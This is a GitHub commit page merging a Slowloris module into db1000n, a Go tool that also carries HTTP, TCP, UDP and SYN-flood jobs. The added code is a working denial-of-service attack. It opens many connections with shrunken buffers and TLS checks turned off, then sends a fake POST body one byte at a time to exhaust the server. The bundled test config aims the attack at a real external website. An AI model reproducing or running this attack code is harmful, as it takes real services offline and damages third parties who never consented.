Skip to content

Commit

Permalink
Merge pull request #21 from o-volkov/slowloris
Browse files Browse the repository at this point in the history
Slowloris initial implementation
  • Loading branch information
arriven authored Feb 27, 2022
2 parents 37fd1d9 + 1bf7487 commit 44c92ec
Show file tree
Hide file tree
Showing 3 changed files with 226 additions and 4 deletions.
54 changes: 50 additions & 4 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"flag"
"fmt"
"html/template"
Expand All @@ -23,6 +24,7 @@ import (
"github.com/Arriven/db1000n/logs"
"github.com/Arriven/db1000n/metrics"
"github.com/Arriven/db1000n/synfloodraw"
"github.com/Arriven/db1000n/slowloris"
)

// JobArgs comment for linter
Expand All @@ -38,10 +40,11 @@ type JobConfig struct {
}

var jobs = map[string]job{
"http": httpJob,
"tcp": tcpJob,
"udp": udpJob,
"syn-flood": synFloodJob,
"http": httpJob,
"tcp": tcpJob,
"udp": udpJob,
"syn-flood": synFloodJob,
"slow-loris": slowLoris,
}

// Config comment for linter
Expand Down Expand Up @@ -261,6 +264,49 @@ func synFloodJob(ctx context.Context, l *logs.Logger, args JobArgs) error {
return synfloodraw.StartFlooding(shouldStop, jobConfig.Host, jobConfig.Port, jobConfig.PayloadLength, jobConfig.FloodType)
}

func slowLoris(ctx context.Context, l *logs.Logger, args JobArgs) error {
var jobConfig *slowloris.Config
err := json.Unmarshal(args, &jobConfig)
if err != nil {
return err
}

if len(jobConfig.Path) == 0 {
l.Error("path is empty")

return errors.New("path is empty")
}

if jobConfig.ContentLength == 0 {
jobConfig.ContentLength = 1000 * 1000
}

if jobConfig.DialWorkersCount == 0 {
jobConfig.DialWorkersCount = 10
}

if jobConfig.RampUpInterval == 0 {
jobConfig.RampUpInterval = 1 * time.Second
}

if jobConfig.SleepInterval == 0 {
jobConfig.SleepInterval = 10 * time.Second
}

if jobConfig.DurationSeconds == 0 {
jobConfig.DurationSeconds = 10 * time.Second
}

shouldStop := make(chan bool)
go func() {
<-ctx.Done()
shouldStop <- true
}()
l.Debug("sending slow loris with params: %v", jobConfig)

return slowloris.Start(l, jobConfig)
}

func fetchConfig(configPath string) (*Config, error) {
var configBytes []byte
var err error
Expand Down
170 changes: 170 additions & 0 deletions slowloris/slowloris.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
package slowloris

import (
"crypto/tls"
"fmt"
"io"
"net"
"net/url"
"strings"
"time"

"github.com/Arriven/db1000n/logs"
)

type Config struct {
ContentLength int // The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size
DialWorkersCount int // The number of workers simultaneously busy with opening new TCP connections
RampUpInterval time.Duration // Interval between new connections' acquisitions for a single dial worker (see DialWorkersCount)
SleepInterval time.Duration // Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout
DurationSeconds time.Duration // Duration in seconds
Path string // Target Path. Http POST must be allowed for this Path
HostHeader string // Host header value in case it is different than the hostname in Path
}

type SlowLoris struct {
Logger *logs.Logger
Config *Config
}

var (
sharedReadBuf = make([]byte, 4096)
sharedWriteBuf = []byte("A")
)

func Start(logger *logs.Logger, config *Config) error {
s := &SlowLoris{
Logger: logger,
Config: config,
}

targetURL, err := url.Parse(config.Path)
if err != nil {
s.Logger.Error("Cannot parse Path=[%s]: [%s]\n", targetURL, err)
return err
}

targetHostPort := targetURL.Host
if !strings.Contains(targetHostPort, ":") {
port := "80"
if targetURL.Scheme == "https" {
port = "443"
}
targetHostPort = net.JoinHostPort(targetHostPort, port)
}
host := targetURL.Host
if len(config.HostHeader) > 0 {
host = config.HostHeader
}
requestHeader := []byte(fmt.Sprintf("POST %s HTTP/1.1\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n",
targetURL.RequestURI(), host, config.ContentLength))

dialWorkersLaunchInterval := config.RampUpInterval / time.Duration(config.DialWorkersCount)
activeConnectionsCh := make(chan int, config.DialWorkersCount)
go s.activeConnectionsCounter(activeConnectionsCh)
for i := 0; i < config.DialWorkersCount; i++ {
go s.dialWorker(config, activeConnectionsCh, targetHostPort, targetURL, requestHeader)
time.Sleep(dialWorkersLaunchInterval)
}
time.Sleep(config.DurationSeconds)

return nil
}

func (s SlowLoris) dialWorker(config *Config, activeConnectionsCh chan<- int, targetHostPort string, targetUri *url.URL, requestHeader []byte) {
isTls := targetUri.Scheme == "https"

for {
time.Sleep(config.RampUpInterval)
conn := s.dialVictim(targetHostPort, isTls)
if conn != nil {
go s.doLoris(config, conn, activeConnectionsCh, requestHeader)
}
}
}

func (s SlowLoris) activeConnectionsCounter(ch <-chan int) {
var connectionsCount int
for n := range ch {
connectionsCount += n
s.Logger.Debug("Holding %d connections\n", connectionsCount)
}
}

func (s SlowLoris) dialVictim(hostPort string, isTls bool) io.ReadWriteCloser {
// TODO: add support for dialing the Path via a random proxy from the given pool.
conn, err := net.Dial("tcp", hostPort)
if err != nil {
s.Logger.Error("Couldn't establish connection to [%s]: [%s]\n", hostPort, err)
return nil
}

tcpConn := conn.(*net.TCPConn)
if err = tcpConn.SetReadBuffer(128); err != nil {
s.Logger.Error("Cannot shrink TCP read buffer: [%s]\n", err)
return nil
}

if err = tcpConn.SetWriteBuffer(128); err != nil {
s.Logger.Error("Cannot shrink TCP write buffer: [%s]\n", err)
return nil
}

if err = tcpConn.SetLinger(0); err != nil {
s.Logger.Error("Cannot disable TCP lingering: [%s]\n", err)
return nil
}

if !isTls {
return tcpConn
}

tlsConn := tls.Client(conn, &tls.Config{
InsecureSkipVerify: true,
})

if err = tlsConn.Handshake(); err != nil {
conn.Close()
s.Logger.Error("Couldn't establish tls connection to [%s]: [%s]\n", hostPort, err)
return nil
}

return tlsConn
}

func (s SlowLoris) doLoris(config *Config, conn io.ReadWriteCloser, activeConnectionsCh chan<- int, requestHeader []byte) {
defer conn.Close()

if _, err := conn.Write(requestHeader); err != nil {
s.Logger.Error("Cannot write requestHeader=[%v]: [%s]\n", requestHeader, err)
return
}

activeConnectionsCh <- 1
defer func() { activeConnectionsCh <- -1 }()

readerStopCh := make(chan int, 1)
go s.nullReader(conn, readerStopCh)

for i := 0; i < config.ContentLength; i++ {
select {
case <-readerStopCh:
return
case <-time.After(config.SleepInterval):
}
if _, err := conn.Write(sharedWriteBuf); err != nil {
s.Logger.Error("Error when writing %d byte out of %d bytes: [%s]\n", i, config.ContentLength, err)
return
}
}
}

func (s SlowLoris) nullReader(conn io.Reader, ch chan<- int) {
defer func() { ch <- 1 }()
n, err := conn.Read(sharedReadBuf)
if err != nil {
s.Logger.Error("Error when reading server response: [%s]\n", err)
} else {
s.Logger.Error("Unexpected response read from server: [%s]\n", sharedReadBuf[:n])
}
}
6 changes: 6 additions & 0 deletions testconfig.json
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,12 @@
"payload_len": 1000,
"flood_type": "random"
}
},
{
"type": "slow-loris",
"args": {
"path": "https://kapital-rus.ru/inc2/common/js/doo/modules/searchSite/u.php"
}
}
]
}

0 comments on commit 44c92ec

Please sign in to comment.